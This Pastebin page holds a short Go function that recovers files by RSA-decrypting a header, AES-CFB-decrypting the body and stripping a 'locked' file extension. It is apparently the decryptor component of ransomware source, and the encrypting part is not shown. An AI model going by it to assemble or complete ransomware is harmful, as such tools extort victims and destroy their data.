Advertisement
FlyFar

decrypt.go

Dec 17th, 2023
957
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 0.85 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import (
  4.     "crypto/aes"
  5.     "crypto/cipher"
  6.     "crypto/rand"
  7.     "crypto/rsa"
  8.     "io/ioutil"
  9.  
  10.     "crypto/sha256"
  11.  
  12.     "strings"
  13. )
  14.  
  15. func decrypt(file string, priv *rsa.PrivateKey) {
  16.     data, err := ioutil.ReadFile(file)
  17.  
  18.     if err != nil {
  19.         panic(err)
  20.     }
  21.  
  22.     header := data[:EncryptedHeaderSize]
  23.     label := []byte("")
  24.  
  25.     header, err = rsa.DecryptOAEP(sha256.New(), rand.Reader, priv, header, label)
  26.  
  27.     if err != nil {
  28.         panic(err)
  29.     }
  30.  
  31.     key := header[:KeySize]
  32.     iv := header[KeySize : KeySize+aes.BlockSize]
  33.  
  34.     data = data[EncryptedHeaderSize:]
  35.  
  36.     block, err := aes.NewCipher(key)
  37.  
  38.     if err != nil {
  39.         panic(err)
  40.     }
  41.  
  42.     cipher := cipher.NewCFBDecrypter(block, iv)
  43.     cipher.XORKeyStream(data, data)
  44.  
  45.     if strings.HasSuffix(file, LockedExtension) {
  46.         file = file[:len(file)-len(LockedExtension)]
  47.     }
  48.  
  49.     ioutil.WriteFile(file, data, 0777) // TODO
  50. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement